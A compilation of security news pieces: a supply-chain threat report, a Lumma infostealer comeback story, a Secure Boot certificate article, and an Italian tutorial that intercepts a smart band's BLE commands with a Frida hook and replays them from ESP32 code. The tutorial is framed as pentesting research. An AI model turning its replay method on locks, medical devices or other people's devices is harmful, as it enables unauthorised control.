Uno dei fronti più critici evidenziati dal report riguarda la corruzione dei repository open-source come npm e PyPI, diventati i nuovi vettori per la distribuzione di malware su scala “industriale”. Attraverso il furto di credenziali dei manutentori e l’uso di worm automatizzati, i cybercriminali iniettano codice malevolo nelle librerie software, trasformando le pipeline di sviluppo in canali di infezione di massa. Parallelamente, assistiamo a un’evoluzione del phishing potenziato dall’intelligenza artificiale che ora mira specificamente ai workflow di integrazione OAuth. Questo approccio permette agli attori malevoli di aggirare l’autenticazione a più fattori e stabilire una presenza legittima e duratura all’interno degli ambienti cloud e dei sistemi CI/CD, rendendo la distinzione tra traffico lecito e malevolo quasi impossibile per i perimetri difensivi classici.

L’ecosistema del ransomware e il mercato degli accessi a monte

Il modello operativo del crimine informatico si è strutturato in una filiera altamente specializzata dove i broker di accesso iniziale e gli operatori ransomware collaborano con una precisione e un coordinamento degno delle migliori filiere produttive tradizionali. L’obiettivo primario dei gruppi di minaccia non è più la singola vittima, ma i punti di accesso a monte che garantiscono un’esposizione multi-tenant. Questo approccio moltiplica l’impatto finanziario delle campagne di estorsione, poiché la violazione di un unico fornitore di servizi si traduce nella compromissione simultanea di decine di database di clienti diversi. I gruppi più sofisticati, tra cui spiccano nomi come Lazarus e Scattered Spider, stanno sfruttando metodicamente queste architetture di fiducia condivisa per massimizzare l’asimmetria dell’attacco e minimizzare i tempi di rilevamento.

Verso una difesa basata sulla gestione della fiducia sistemica

In questo scenario di minacce interconnesse, la sicurezza informatica deve evolvere verso una protezione che non si limiti ai confini aziendali ma che analizzi ogni singola dipendenza e relazione digitale. Come sottolineato dai ricercatori di Group-IB, la sfida attuale per i responsabili della sicurezza è mettere in sicurezza la fiducia stessa attraverso un monitoraggio rigoroso delle integrazioni di terze parti e una verifica continua delle identità. Non è più sufficiente proteggere i propri asset isolati, poiché è necessario anticipare i rischi emergenti analizzando le dinamiche degli ecosistemi underground dove vengono scambiati gli accessi privilegiati. Solo una visione che integri l’intelligence predittiva con una comprensione profonda delle catene di attacco integrate può permettere alle aziende di interrompere il ciclo dell’offensiva prima che il danno diventi sistemico.

---

• CI/CD Security, Cloud security, Cybersecurity Trends, Digital Trust, Group-IB Report 2026, Initial Access Brokers, Intelligence Predittiva, Malicious Browser Extensions, MFA Bypass, OAuth Abuse, Open-source Vulnerabilities, Ransomware Ecosystem, risk management, sicurezza informatica, supply chain attack

---

---

https://www.securityinfo.it/2026/02/12/effetto-domino-nel-2026-i-fornitori-sono-le-vulnerabilita-piu-critiche/?utm_source=rss&utm_medium=rss&utm_campaign=effetto-domino-nel-2026-i-fornitori-sono-le-vulnerabilita-piu-critiche

Una metodologia pratica per comprendere i rischi di sicurezza nei wearable commerciali

Il panorama IoT e l’espansione della superficie di attacco

Nel mondo sono oggi attive decine di miliardi di dispositivi Internet of Things (IoT). Le proiezioni indicano che questo numero continuerà a crescere rapidamente nel corso del prossimo decennio. Questa crescita è alimentata dalla diffusione di wearable, sensori domestici intelligenti, dispositivi medicali connessi, smart lock e sistemi industriali IoT.

L’aumento della connettività porta con sé un ampliamento proporzionale della superficie di attacco. Molti dispositivi IoT vengono progettati con priorità su costo ridotto, autonomia energetica e facilità d’uso, mentre la sicurezza viene spesso considerata solo in una fase successiva o completamente trascurata. Questa logica “security as an afterthought” ha creato un ecosistema vulnerabile composto da miliardi di dispositivi potenzialmente compromettibili.

Bluetooth Low Energy: il protocollo dominante nell’IoT a basso consumo

Il Bluetooth Low Energy (BLE), introdotto nelle specifiche Bluetooth 4.0 nel 2010, rappresenta oggi uno dei protocolli più utilizzati nell’ecosistema IoT moderno. A differenza del Bluetooth Classic, il BLE è stato progettato specificamente per dispositivi alimentati a batteria che necessitano di comunicazioni brevi e sporadiche con consumo energetico ridottissimo.

La sua adozione massiva in wearable, fitness tracker, smart band, sensori medicali e dispositivi domestici lo rende un vettore di attacco particolarmente rilevante. I rischi associati al BLE spaziano dagli accessi non autorizzati a dispositivi fisici tramite replicazione di comandi, alla replica di protocolli proprietari per interazione non prevista, passando per attacchi di prossimità che sfruttano il raggio di trasmissione radio. La possibilità di automazione su larga scala di interazioni malevole rende questi vettori ancora più pericolosi, con impatti concreti su sicurezza fisica, privacy e continuità operativa.

La comprensione delle modalità di comunicazione BLE è quindi fondamentale per chi si occupa di sicurezza hardware, penetration testing IoT e analisi di dispositivi embedded.

SweynTooth: quando le vulnerabilità BLE colpiscono i dispositivi

Per comprendere la rilevanza della sicurezza BLE, è utile analizzare un caso documentato che ha dimostrato l’impatto reale delle vulnerabilità in questo protocollo.

Nel febbraio 2020, ricercatori del SUTD (Singapore University of Technology and Design) pubblicarono SweynTooth, una famiglia di 12 vulnerabilità zero-day che colpivano gli stack BLE di sei diversi produttori di System-on-Chip (SoC): Texas Instruments, NXP, Cypress, Dialog Semiconductors, Microchip e Telink Semiconductor.

Le caratteristiche che resero SweynTooth particolarmente rilevante includevano la natura completamente over-the-air dell’attacco, che non richiedeva pairing o autenticazione, e l’assenza di qualsiasi interazione con l’utente del dispositivo target. Le vulnerabilità permettevano di causare deadlock, crash e in alcuni casi information disclosure, con una superficie di impatto estesa a miliardi di dispositivi commerciali, medicali e industriali.

Un attaccante poteva causare Denial of Service su dispositivi BLE inviando pacchetti malformati durante le fasi di connection, data transfer o pairing. In alcuni casi, le vulnerabilità permettevano anche il bypass di procedure di sicurezza come il pairing numerico o l’esfiltrazione di informazioni dalla memoria.

Nome Vulnerabilità	CVE ID	Stato del Protocollo	Tipo di Impatto	Esempio Prodotto IoT
Link Layer Length Overflow	CVE-2019-16336, CVE-2019-17519	Fase iniziale della connessione (initial_setup)	Crash	Fitbit Inspire
LLID Deadlock	CVE-2019-17061, CVE-2019-17060	Fase iniziale della connessione (initial_setup)	Crash o Deadlock	Fitbit Inspire
Truncated L2CAP	CVE-2019-17517	Scoperta dei servizi primari (list_pri_services)	Crash	Non specificato
Silent Length Overflow	CVE-2019-17518	Procedura di pairing (smp_pairing)	Crash	Eve Energy, August Smart Lock
Public Key Crash	CVE-2019-17520	Procedura di pairing (smp_pairing)	Crash	CubiTag
Invalid Connection Request	CVE-2019-19193	Stabilimento della connessione (connection)	Deadlock (DoS)	eGeeTouch TSA Lock
Invalid L2CAP Fragment	CVE-2019-19195	Scoperta servizi / Lettura-Scrittura GATT	Crash	Non specificato
Sequential ATT Deadlock	CVE-2019-19192	Lettura-Scrittura GATT (gatt_read/write)	Crash / Deadlock	Non specificato
Key Size Overflow	CVE-2019-19196	Richiesta di pairing (pairing_req)	Crash	Non specificato
Zero LTK Installation	CVE-2019-19194	Pairing con connessioni sicure (sc_pairing)	Security Bypass	Non specificato
DHCheck Skip	CVE-2020-13593	Procedura di pairing (smp_pairing)	Security Bypass	Non specificato
ESP32 HCI Desync	CVE-2020-13595	Non specificato in tabella	Non specificato in tabella	Non specificato

SweynTooth ha segnato un punto di svolta nella percezione della sicurezza BLE, dimostrando come vulnerabilità a livello di stack protocol possano avere conseguenze concrete su dispositivi medicali (pacemaker, glucometri), sistemi di controllo accessi, e infrastrutture industriali che utilizzano sensori BLE.

Il caso è particolarmente significativo perché ha evidenziato come anche dispositivi conformi alle specifiche Bluetooth SIG possano presentare vulnerabilità critiche nell’implementazione degli stack software .

Dalla teoria alla pratica: perché analizzare protocolli BLE proprietari

Anche in assenza di vulnerabilità di esecuzione di codice remoto o stack overflow, la capacità di comprendere e replicare protocolli applicativi BLE proprietari può avere conseguenze concrete nel mondo reale.

Consideriamo alcuni scenari concreti: uno smart lock BLE che utilizza un protocollo proprietario per l’apertura remota, un dispositivo medicale che trasmette comandi di dosaggio su canale BLE, un sistema di controllo industriale con sensori BLE per monitoraggio parametri critici, o un dispositivo wearable che può essere comandato per eseguire azioni specifiche. In tutti questi casi, la possibilità di intercettare, comprendere e replicare i comandi proprietari rappresenta un rischio di sicurezza concreto, indipendentemente dalla presenza di vulnerabilità software classiche.

È in questo contesto che si inserisce l’esperimento descritto in questo articolo: dimostrare una metodologia riproducibile, per analizzare la comunicazione BLE di dispositivi commerciali e automatizzarne il controllo tramite hardware embedded.

Obiettivo dell’esperimento

Questo lavoro propone un approccio pratico per analizzare la comunicazione BLE di un dispositivo wearable commerciale e replicarne il comportamento tramite microcontrollore ESP32.

L’obiettivo è fornire una metodologia che permetta di analizzare applicazioni mobili che comunicano con dispositivi BLE, intercettare comandi proprietari tramite dynamic instrumentation, comprendere il protocollo applicativo senza necessità di reverse engineering del firmware, e infine automatizzare l’interazione con hardware reale tramite dispositivi embedded a basso costo. La metodologia è applicabile a un’ampia gamma di dispositivi BLE commerciali e rappresenta un approccio sistemico al penetration testing hardware e IoT security assessment.

Strumentazione necessaria

Per l’esperimento sono sufficienti componenti facilmente reperibili e a costo contenuto:

• Smart band commerciale compatibile con app mobile (es. modelli M4/M5/M7 con app FitPro, costo ~5-10€)
• Smartphone Android con privilegi di root per l’instrumentation dinamica
• Microcontrollore ESP32 (ESP32 WROOM o equivalente, costo ~5-10€)
• PC Linux per operazioni di test manuale

Il costo totale dell’intera strumentazione, escludendo lo smartphone, si aggira intorno ai 20€, rendendo l’esperimento accessibile per scopi didattici, di ricerca o di security assessment.

Analisi della comunicazione tramite Frida

Setup dell’ambiente di instrumentation

Frida è un framework di dynamic instrumentation che permette di iniettare codice JavaScript all’interno di processi in esecuzione, intercettando chiamate di funzione e manipolando il comportamento dell’applicazione in tempo reale. È uno strumento particolarmente potente per l’analisi di applicazioni mobile senza necessità di decompilazione o reverse engineering statico.

La procedura di setup richiede:

1. Installazione di frida-tools sul PC host
2. Deploy di frida-server su dispositivo Android con root
3. Verifica della compatibilità tra versioni (frida, frida-tools e frida-server devono avere versione identica)

Un aspetto critico è l’architettura del processore Android: bisogna scaricare la versione corretta di frida-server (es. arm64-v8a per la maggior parte degli smartphone moderni).

# Verifica architettura
adb shell getprop ro.product.cpu.abi

# Push e avvio frida-server
adb root
adb push frida-server /data/local/tmp/frida-server
adb shell “chmod 755 /data/local/tmp/frida-server”
adb shell “/data/local/tmp/frida-server &”

# Verifica funzionamento
frida-ps -U

Sviluppo dello hook per intercettare comunicazioni BLE

L’obiettivo dello hook è intercettare in tempo reale i dati che l’applicazione Android invia al dispositivo BLE tramite lo stack Bluetooth nativo.

Su Android, la scrittura di dati su caratteristiche GATT segue un flusso preciso: l’applicazione prepara un array di byte con il comando, imposta il valore sulla caratteristica usando BluetoothGattCharacteristic.setValue(byte[]), e infine richiede la trasmissione con BluetoothGatt.writeCharacteristic(BluetoothGattCharacteristic). Intercettando entrambi questi punti, otteniamo il valore quando viene preparato in memoria, il momento esatto dell’invio over-the-air, e l’UUID della caratteristica target.

Lo hook sviluppato intercetta queste chiamate e logga i dati in formato esadecimale:

if (Java.available) {
Java.perform(function () {
var BluetoothGatt = Java.use(“android.bluetooth.BluetoothGatt”);
var BluetoothGattCharacteristic = Java.use(“android.bluetooth.BluetoothGattCharacteristic”);

// Funzione helper per conversione byte -> hex
function bytesToHex(bytes) {
var result = [];
for (var i = 0; i < bytes.length; i++) {
var b = bytes[i] & 0xff;
result.push((‘0’ + b.toString(16)).slice(-2));
}
return result.join(‘ ‘);
}

// Hook writeCharacteristic: intercetta l’invio effettivo
BluetoothGatt.writeCharacteristic.implementation = function (ch) {
try {
var uuid = ch.getUuid().toString();
var value = ch.getValue();
if (value) {
console.log(“[BLE WRITE =>] UUID: ” + uuid + ” DATA: ” + bytesToHex(value));
} else {
console.log(“[BLE WRITE =>] UUID: ” + uuid + ” DATA: <null>”);
}
} catch (e) {
console.log(“[BLE WRITE =>] error: ” + e);
}
return this.writeCharacteristic(ch);
};

// Hook setValue: intercetta la preparazione del comando
BluetoothGattCharacteristic.setValue.overload(‘[B’).implementation = function (bytes) {
try {
var uuid = this.getUuid().toString();
console.log(“[BLE SET =>] UUID: ” + uuid + ” DATA: ” + bytesToHex(bytes));
} catch (e) {
console.log(“[BLE SET =>] error: ” + e);
}
return this.setValue(bytes);
};

console.log(“[+] BLE Write hook installed”);
});
}

Esecuzione dell’hooking e cattura dei comandi

Con l’applicazione FitPro installata e frida-server attivo, si procede all’hooking:

frida -U -n FitPro -l blewrite.js

A questo punto, dall’applicazione mobile si esegue l’azione da analizzare. Nel caso specifico, è stata utilizzata la funzione “Find Device” che fa vibrare la smart band, una funzionalità comune nei wearable per facilitarne il ritrovamento.

L’output dello hook mostra:

[BLE SET =>] UUID: 6e400002-b5a3-f393-e0a9-e50e24dcca9d DATA: cd 00 06 12 01 0b 00 01 01
[BLE WRITE =>] UUID: 6e400002-b5a3-f393-e0a9-e50e24dcca9d DATA: cd 00 06 12 01 0b 00 01 01

Abbiamo così identificato l’UUID della caratteristica (6e400002-b5a3-f393-e0a9-e50e24dcca9d) e il payload del comando (0xcd 0x00 0x06 0x12 0x01 0x0b 0x00 0x01 0x01).

Questo è il comando proprietario che, quando scritto su quella specifica caratteristica GATT, causa la vibrazione del dispositivo.

Replica manuale tramite bluetoothctl

Prima di automatizzare il processo con ESP32, è buona pratica verificare manualmente che il comando intercettato funzioni realmente. Per questo si utilizza bluetoothctl, tool standard su distribuzioni Linux con BlueZ.

Connessione e pairing

Durante il pairing, il sistema richiede autorizzazione. Questo passaggio è significativo perché dimostra che la connessione è cifrata: il processo di pairing stabilisce chiavi di crittografia che proteggono la comunicazione. Questo spiega perché un semplice sniffing radio (ad esempio con nRF52840) non sarebbe stato sufficiente senza la chiave di pairing.

Identificazione della caratteristica e invio comando

Una volta connessi, si esplorano i servizi GATT:

gatt.list-attributes

Si identifica la caratteristica con UUID 6e400002-b5a3-f393-e0a9-e50e24dcca9d, si seleziona e si scrive il payload:

gatt.select-attribute /org/bluez/hci0/dev_FF_FF_FF_23_DB_18/service002e/char0032
gatt.write “0xcd 0x00 0x06 0x12 0x01 0x0b 0x00 0x01 ”

Risultato: la smart band vibra immediatamente, confermando che il comando intercettato è corretto e funzionale.

Questo test manuale è fondamentale per validare l’analisi prima di procedere all’automazione con hardware embedded.

Automazione del proof of concept con ESP32

Architettura della soluzione automatizzata

L’ESP32 è un microcontrollore popolare nell’ambito IoT grazie al supporto nativo WiFi e Bluetooth (sia Classic che Low Energy), al costo ridotto (~5-10€) e all’ampia disponibilità di librerie e documentazione.

L’obiettivo è creare un dispositivo autonomo che scansiona continuamente l’ambiente BLE alla ricerca del dispositivo target, si connette automaticamente quando questo è nel raggio, gestisce il pairing in modo automatico, identifica il servizio e la caratteristica corretti, invia il payload intercettato con Frida, e infine fornisce feedback visivo tramite LED dello stato operativo.

Implementazione e logica operativa

Il codice completo implementa una macchina a stati che gestisce l’intero ciclo operativo. Durante lo stato SCANNING, il LED verde lampeggia mentre il dispositivo ricerca il target per nome o indirizzo MAC. Una volta individuato, passa allo stato CONNECTING con LED verde fisso per tentare la connessione BLE. Segue lo stato DISCOVERING per l’enumerazione di servizi e caratteristiche GATT. Nello stato ATTACKING il LED bianco si accende durante l’invio del payload di test. Infine, lo stato DISCONNECTED riporta il sistema allo scanning.

La parte più rilevante è la scrittura della caratteristica GATT:

// Identificazione della caratteristica target
BLERemoteCharacteristic* pCharacteristic = pService->getCharacteristic(CHARACTERISTIC_UUID);

if (pCharacteristic == nullptr) {
Serial.println(“Characteristic not found”);
return;
}

// Preparazione payload (comando di vibrazione)
uint8_t payload[] = {0xcd, 0x00, 0x06, 0x12, 0x01, 0x0b, 0x00, 0x01, 0x01};

// Invio comando
pCharacteristic->writeValue(payload, sizeof(payload));

// Feedback visivo: LED bianco = comando eseguito
digitalWrite(LED_WHITE, HIGH);

Dimostrazione pratica e risultati

Il dispositivo viene alimentato e posizionato nel raggio d’azione del wearable target, tipicamente 10-50 metri in condizioni ottimali. Il comportamento osservato mostra inizialmente il LED verde lampeggiante durante lo scanning, seguito dal LED verde fisso alla connessione. Quando il LED bianco si accende, la smart band vibra immediatamente. Il ciclo si conclude con la disconnessione e il ritorno automatico allo scanning.

Il mostra chiaramente il funzionamento del dispositivo e la reazione del wearable target.

Il codice completo è disponibile pubblicamente su GitHub Gist per scopi didattici e di ricerca: https://gist.github.com/mandomat/868400b150218317527def3c8886082c

Implicazioni di sicurezza e scenari reali

Estensione a dispositivi critici

Sebbene l’esperimento dimostrato coinvolga una smart band consumer, la metodologia è applicabile a scenari con impatto significativamente più elevato. Nel campo dei dispositivi di controllo accessi fisici, parliamo di smart lock BLE per porte residenziali o uffici, sistemi di apertura cancelli e garage, e badge digitali per accesso a zone riservate.

I dispositivi medicali connessi rappresentano un ambito ancora più critico: glucometri per pazienti diabetici, pompe per insulina con controllo BLE, monitor cardiaci e pacemaker di nuova generazione, dispositivi per terapia del dolore. I sistemi industriali IoT includono sensori BLE per monitoraggio parametri critici, attuatori per controllo valvole e motori, e sistemi SCADA con interfaccia BLE per manutenzione. Infine, nel settore automotive e mobilità, la metodologia si applica a sistemi di apertura/chiusura veicoli, scooter e bici elettriche condivise, e sistemi di tracciamento flotte.

Mitigazioni e raccomandazioni

Lato sviluppatore di dispositivi BLE

Per chi sviluppa dispositivi IoT con connettività BLE, è fondamentale implementare autenticazione robusta senza fidarsi del solo pairing BLE, e utilizzare crittografia a livello applicativo aggiungendo un layer di sicurezza oltre a quello del protocollo. Nel caso analizzato in questo articolo, la crittografia a livello di trasporto BLE non ha impedito la replica del comando, poiché l’intercettazione è avvenuta a livello applicativo tramite instrumentation dell’app mobile: un layer crittografico applicativo, con challenge-response o token a uso singolo, avrebbe reso inefficace la semplice replica del payload.

È essenziale implementare rate limiting per limitare la frequenza dei comandi critici, insieme a sistemi di logging e audit che registrino tutte le operazioni sensibili. La validazione contestuale deve verificare la coerenza dei comandi attraverso geofencing, controlli orari e sequenze valide. Infine, firmware signing e secure boot devono garantire che solo firmware legittimo possa essere eseguito, impedendo modifiche non autorizzate.

Lato utente finale

Gli utenti di dispositivi BLE dovrebbero disabilitare Bluetooth quando non necessario per ridurre la finestra di attacco, e aggiornare regolarmente il firmware applicando le patch di sicurezza disponibili. È importante verificare le impostazioni di pairing per limitare il re-pairing automatico, e monitorare comportamenti anomali come vibrazioni inattese o attivazioni non richieste. Quando possibile, è preferibile scegliere dispositivi con certificazioni di sicurezza riconosciute, come IEC 62443 per l’ambito industriale o FDA per i dispositivi medicali.

Lato ricerca e industria

La comunità di ricerca e l’industria dovrebbero aumentare la trasparenza pubblicando specifiche di protocolli proprietari per review indipendente, e sviluppare standard di sicurezza BLE con linee guida specifiche per categorie di dispositivi. L’implementazione di bug bounty program può incentivare la ricerca responsabile, mentre la promozione della security by design deve integrare la sicurezza fin dalle prime fasi di progettazione. Infine, educazione e awareness rimangono fondamentali per formare sviluppatori sulle best practice di sicurezza BLE.

Conclusioni: dalla consapevolezza all’azione

Questo articolo ha dimostrato come, con strumentazione accessibile e competenze tecniche intermedie, sia possibile analizzare, comprendere e replicare protocolli BLE proprietari utilizzati da dispositivi wearable commerciali.

La metodologia presentata, basata su dynamic instrumentation con Frida, validazione manuale con bluetoothctl e automazione con ESP32 , è riproducibile, e applicabile a un’ampia gamma di dispositivi BLE.

Oltre l’aspetto tecnico, l’esperimento evidenzia alcune criticità sistemiche. Molti dispositivi IoT utilizzano protocolli proprietari non documentati e non sottoposti a security review. La sicurezza per oscurità (security through obscurity) rimane un approccio diffuso ma inefficace. Il costo di attacco è drasticamente inferiore al costo di difesa e remediation. Infine, la scalabilità degli attacchi BLE è sottovalutata nelle threat model aziendali.

L’obiettivo di questo lavoro non è “fare vibrare una smart band”, ma fornire una metodologia riutilizzabile per security assessment di dispositivi BLE, utile per penetration tester che valutano la sicurezza di infrastrutture IoT, per ricercatori che studiano protocolli wireless e vulnerabilità hardware, per sviluppatori che desiderano comprendere le minacce reali ai loro prodotti, e per responsabili della sicurezza che devono valutare il rischio associato a deployment IoT.

In un ecosistema in cui i dispositivi connessi pervadono ogni aspetto della vita quotidiana e industriale, la comprensione delle minacce reali , e la capacità di dimostrarle concretamente , diventa un elemento fondamentale per costruire sistemi realmente sicuri.

Risorse e riferimenti

Codice sorgente: – Hook Frida per intercettazione BLE: [disponibile nell’articolo] – Codice ESP32 completo

Strumenti utilizzati: – Frida– BlueZ bluetoothctl – ESP32 Arduino BLE Library – NimBLE

Riferimenti scientifici: – SweynTooth: “SweynTooth: Unleashing Mayhem over Bluetooth Low Energy”, USENIX ATC 2020 – Bluetooth Core Specification v5.4– “Security Analysis of Wearable Fitness Devices”, IEEE Security & Privacy, 2018

https://www.ictsecuritymagazine.com/articoli/ble/

Last May, law enforcement authorities around the world scored a key win when they hobbled the infrastructure of Lumma, an infostealer that infected nearly 395,000 Windows computers over just a two-month span leading up to the international operation. Researchers said Wednesday that Lumma is once again “back at scale” in hard-to-detect attacks that pilfer credentials and sensitive files.

Lumma, also known as Lumma Stealer, first appeared in Russian-speaking cybercrime forums in 2022. Its cloud-based malware-as-a-service model provided a sprawling infrastructure of domains for hosting lure sites offering free cracked software, games, and pirated movies, as well as command-and-control channels and everything else a threat actor needed to run their infostealing enterprise. Within a year, Lumma was selling for as much as $2,500 for premium versions. By the spring of 2024, the FBI counted more than 21,000 listings on crime forums. Last year, Microsoft said Lumma had become the “go-to tool” for multiple crime groups, including Scattered Spider, one of the most prolific groups.

Takedowns are hard

The FBI and an international coalition of its counterparts took action early last year. In May, they said they seized 2,300 domains, command-and-control infrastructure, and crime marketplaces that had enabled the infostealer to thrive. Recently, however, the malware has made a comeback, allowing it to infect a significant number of machines again.

“LummaStealer is back at scale, despite a major 2025 law-enforcement takedown that disrupted thousands of its command-and-control domains,” researchers from security firm Bitdefender wrote. “The operation has rapidly rebuilt its infrastructure and continues to spread worldwide.”

As with Lumma before, the recent surge leans heavily on “ClickFix,” a form of social engineering lure that’s proving to be vexingly effective in causing end users to infect their own machines. Typically, these types of bait come in the form of fake CAPTCHAs that—rather requiring users to click a box or identify objects or letters in a jumbled image—instruct them to copy text and paste it into an interface, a process that takes just seconds. The text comes in the form of malicious commands provided by the fake CAPTCHA. The interface is the Windows terminal. Targets who comply then install loader malware, which in turn installs Lumma.

https://arstechnica.com/security/2026/02/once-hobbled-lumma-stealer-is-back-with-lures-that-are-hard-to-resist/

Feb 11, 2026 Redazione In evidenza, Malware, Minacce, News, RSS 0

---

L’ecosistema del cybercrime dimostra ancora una volta una resilienza straordinaria: a meno di dodici mesi dall’operazione di smantellamento internazionale che sembrava averne decretato la fine, LummaStealer è riemerso con una catena di infezione profondamente rinnovata. Il ritorno di questo infostealer non è un semplice “rebranding”, ma una ristrutturazione tattica che vede l’introduzione di CastleLoader come primo stadio critico.

Questa nuova architettura dimostra come i gruppi MaaS (Malware-as-a-Service) siano in grado di riorganizzare le proprie infrastrutture C2 e i vettori di delivery in tempi record, capitalizzando sulle lezioni apprese dai precedenti shutdown delle autorità.

L’Architettura Modulare e il Ruolo di CastleLoader

La nuova struttura offensiva si basa su un design modulare a più stadi, dove CastleLoader funge da sofisticato “apripista” per il payload finale. Questo loader non è un semplice downloader, ma un componente progettato per l’evasione preventiva. Una volta eseguito, solitamente attraverso archivi compressi che simulano software legittimo, CastleLoader avvia una serie di controlli ambientali per rilevare la presenza di sandbox o debugger. Solo dopo aver confermato di trovarsi su un host reale e non in un ambiente di analisi, il loader stabilisce una connessione cifrata per recuperare LummaStealer, iniettandolo direttamente nella memoria di processi di sistema già attivi, minimizzando così l’impronta sul file system dell’host.

Il nucleo operativo di LummaStealer è caratterizzato da un offuscamento estremamente aggressivo, finalizzato a neutralizzare sia l’analisi statica che quella euristica. Il malware impiega tecniche di risoluzione dinamica delle funzioni API, evitando di importare palesemente le librerie sospette nella propria tabella di importazione (IAT). Questo approccio, unito all’uso di junk code e metamorfismo del codice sorgente, rende estremamente difficile la creazione di firme rilevanti. Inoltre, il malware sfrutta il controllo del flusso indiretto per confondere i motori di disassemblaggio, garantendo che l’esecuzione del codice malevolo avvenga in modo non lineare e protetto da trigger di rilevamento comportamentale.

Esfiltrazione Mirata e Gestione dei Dati Sensibili

Una volta stabilita la persistenza in memoria, LummaStealer attiva i suoi moduli di scansione focalizzati sull’estrazione di asset digitali di alto valore. Il targeting è chirurgico: il malware interroga i database SQL dei browser per recuperare cookie di sessione (utili per il session hijacking), dati di auto-fill e credenziali salvate. Particolare enfasi viene posta sui cold wallet di criptovalute e sulle estensioni browser dedicate alla gestione di asset digitali, dove il malware tenta di esfiltrare chiavi private e seed. I dati raccolti vengono pacchettizzati e inviati a server C2 attraverso protocolli di comunicazione che imitano il normale traffico web, spesso sfruttando servizi cloud legittimi come tunnel per mascherare la destinazione finale dei pacchetti esfiltrati.

Infrastruttura di Comando e Strategie di Hardening

La rete di Comando e Controllo (C2) è stata riprogettata per evitare i singoli punti di fallimento che hanno portato al precedente abbattimento. Gli operatori utilizzano ora un’architettura decentralizzata o domini a vita breve (fast-flux), che rendono complessa l’identificazione dei server master. Per i difensori IT, il contrasto a questa minaccia richiede un monitoraggio intensivo dei tentativi di iniezione di memoria e delle anomalie nel traffico di rete in uscita. È essenziale implementare soluzioni EDR capaci di correlare l’apertura di file sospetti con chiamate di sistema insolite, oltre a una rigorosa segmentazione dei privilegi utente per impedire che il loader possa scalare le autorizzazioni necessarie per l’esfiltrazione dei dati di sistema.

---

---

---

https://www.securityinfo.it/2026/02/11/lummastealer-risorge-dalle-ceneri-ancora-una-volta-lo-stop-e-momentaneo/?utm_source=rss&utm_medium=rss&utm_campaign=lummastealer-risorge-dalle-ceneri-ancora-una-volta-lo-stop-e-momentaneo

The second thing to check is the “default db,” which shows whether the new Secure Boot certificates are baked into your PC’s firmware. If they are, even resetting Secure Boot settings to the defaults in your PC’s BIOS will still allow you to boot operating systems that use the new certificates.

To check this, open PowerShell or Terminal again and type ([System.Text.Encoding]::ASCII.GetString((Get-SecureBootUEFI dbdefault).bytes) -match 'Windows UEFI CA 2023'). If this command returns “true,” your system is running an updated BIOS with the new Secure Boot certificates built in. Older PCs and systems without a BIOS update installed will return “false” here.

Microsoft’s Costa says that “many newer PCs built since 2024, and almost all the devices shipped in 2025, already include the certificates” and won’t need to be updated at all. And PCs several years older than that may be able to get the certificates via a BIOS update.

In the US, Dell, HP, Lenovo, and Microsoft all have lists of specific systems and firmware versions, while Asus provides more general information about how to get the new certificates via Windows Update, the MyAsus app, or the Asus website. The oldest of the PCs listed generally date back to 2019 or 2020. If your PC shipped with Windows 11 out of the box, there should be a BIOS update with the new certificates available, though that may not be true of every system that meets the requirements for upgrading to Windows 11.

Microsoft encourages home users who can’t install the new certificates to use its customer support services for help. Detailed documentation is also available for IT shops and other large organizations that manage their own updates.

“The Secure Boot certificate update marks a generational refresh of the trust foundation that modern PCs rely on at startup,” writes Costa. “By renewing these certificates, the Windows ecosystem is ensuring that future innovations in hardware, firmware, and operating systems can continue to build on a secure, industry‐aligned boot process.”

https://arstechnica.com/gadgets/2026/02/microsoft-sounds-the-alarm-about-secure-boot-certificates-expiring-later-this-year/